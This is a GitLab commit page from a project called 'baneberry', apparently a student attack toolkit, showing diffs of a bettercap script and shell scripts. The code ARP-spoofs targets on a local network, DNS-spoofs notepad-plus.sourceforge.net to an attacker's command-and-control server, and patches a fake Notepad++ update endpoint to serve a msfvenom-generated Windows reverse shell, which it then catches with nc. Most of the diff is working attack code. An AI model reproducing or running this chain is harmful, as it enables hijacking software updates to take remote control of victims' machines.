Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
B
baneberry
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Marius CHANDEZE
baneberry
Commits
23f10b09
Commit
23f10b09
authored
Feb 25, 2022
by
Marius CHANDEZE
Browse files
Options
Downloads
Patches
Plain Diff
division de la partie baneberry et C&C dans leur fichier sh respectif
parent
a90d3631
No related branches found
No related tags found
No related merge requests found
Changes
3
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
baneberry.js
+3
-6
3 additions, 6 deletions
baneberry.js
baneberry.sh
+1
-35
1 addition, 35 deletions
baneberry.sh
cnc.sh
+41
-0
41 additions, 0 deletions
cnc.sh
with
45 additions
and
41 deletions
baneberry.js
+
3
−
6
View file @
23f10b09
...
...
@@ -11,23 +11,20 @@ run('set wifi.interface ' + wifiInterface);
/*
//config http
run('set http.proxy.sslstrip true');
run('set http.proxy.script payload.js'); // #payload js a injecter
run('set http.proxy.script
http://' + cncserver + '
payload.js'); // #payload js a injecter
run('set http.proxy true'); #obligatoire ?
*/
//camouflage de l'identite
//
run('mac.changer on');
run
(
'
mac.changer on
'
);
//lecture du cache arp pour obtenir des cibles
run
(
'
net.probe on
'
);
//si cache vide de base :
//run('net.recon on');
//attendre un peu ?
run
(
'
sleep 3
'
);
run
(
'
net.probe off
'
);
//config arp
//selection de la cible
run
(
'
set arp.spoof.targets
'
+
targets
);
...
...
@@ -39,7 +36,7 @@ run('set arp.spoof.fullduplex true') //marche ? semble.
//config dns
//run('set dns.spoof.hosts ./hosts');
run
(
'
set dns.spoof.domains notepad-plus.sourceforge.net
'
);
run
(
'
set dns.spoof.address
'
+
dns
server
);
run
(
'
set dns.spoof.address
'
+
cnc
server
);
run
(
'
set dns.spoof.all false
'
);
...
...
This diff is collapsed.
Click to expand it.
baneberry.sh
+
1
−
35
View file @
23f10b09
...
...
@@ -7,41 +7,7 @@
##################################
CNC
=
$(
grep
config.js
-e
"cncserver"
|
cut
-d
"'"
-f
2
)
CNCPORT
=
$(
grep
config.js
-e
"port"
|
cut
-d
"'"
-f
2
)
EPATH
=
$(
grep
config.js
-e
"payload"
|
cut
-d
"'"
-f
2
)
echo
"Command and Control server :
$CNC
:
$CNCPORT
"
echo
"Payload : http://
$CNC
/
$EPATH
"
#configure cron nmap (meh)
#echo setting nmap as hourly cron
#sudo cp ./nmap.cron.sh /etc/cron.hourly/
#generate windows 32bit payload
#sudo ./msfinstall
if
[
"
$1
"
==
"-payload"
]
then
echo
"generate payload"
msfvenom
-p
windows/shell_reverse_tcp
-f
exe
LHOST
=
$CNC
LPORT
=
$CNCPORT
>
"./html/
$EPATH
"
fi
#setup webserver
echo
"setting up web sever"
OLDIP
=
$(
grep
"<Location>"
./html/commun/update/getDownLoadUrl.php |
cut
-d
">"
-f
2 |
cut
-d
"<"
-f
"1"
)
sed
-i
-e
"s#
$OLDIP
#
$CNC
/
$EPATH
#g"
./html/commun/update/getDownLoadUrl.php
sudo cp
-r
./html /var/www/
#start nginx if not loaded
if
[
"active"
!=
"
$(
sudo
systemctl is-active nginx
)
"
]
then
echo
"starting web server"
sudo
service nginx start
else
echo
"server already running"
fi
echo
"Command and Control server :
$CNC
"
#start mitm
sudo
./bettercap
-script
baneberry.js
>
/dev/null &
#wait for reverse shell
echo
"waiting for reverse tcp shell on port
$CNCPORT
..."
nc
-lvp
$CNCPORT
This diff is collapsed.
Click to expand it.
cnc.sh
0 → 100755
+
41
−
0
View file @
23f10b09
#/bin/sh
##################################
### PROJET BANEBERRY ###
# Imad Benayad & Marius Chandeze #
# configuration : config.js #
##################################
CNC
=
$(
grep
./config.js
-e
"cncserver"
|
cut
-d
"'"
-f
2
)
CNCPORT
=
$(
grep
./config.js
-e
"port"
|
cut
-d
"'"
-f
2
)
EPATH
=
$(
grep
./config.js
-e
"payload"
|
cut
-d
"'"
-f
2
)
echo
"Command and Control server :
$CNC
:
$CNCPORT
"
echo
"Payload : http://
$CNC
/
$EPATH
"
#generate windows 32bit payload
if
[
"
$1
"
==
"-payload"
]
then
echo
"update msframework"
sudo
./msfinstall
echo
"generate payload"
msfvenom
-p
windows/shell_reverse_tcp
-f
exe
LHOST
=
$CNC
LPORT
=
$CNCPORT
>
"./html/
$EPATH
"
fi
#setup webserver
echo
"setting up web sever"
OLDIP
=
$(
grep
"<Location>"
./html/commun/update/getDownLoadUrl.php |
cut
-d
">"
-f
2 |
cut
-d
"<"
-f
"1"
)
sed
-i
-e
"s#
$OLDIP
#
$CNC
/
$EPATH
#g"
./html/commun/update/getDownLoadUrl.php
sudo cp
-r
./html /var/www/
#start nginx if not loaded
if
[
"active"
!=
"
$(
sudo
systemctl is-active nginx
)
"
]
then
echo
"starting web server"
sudo
service nginx start
else
echo
"server already running"
fi
#wait for reverse shell
echo
"waiting for reverse tcp shell on port
$CNCPORT
..."
nc
-lvp
$CNCPORT
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment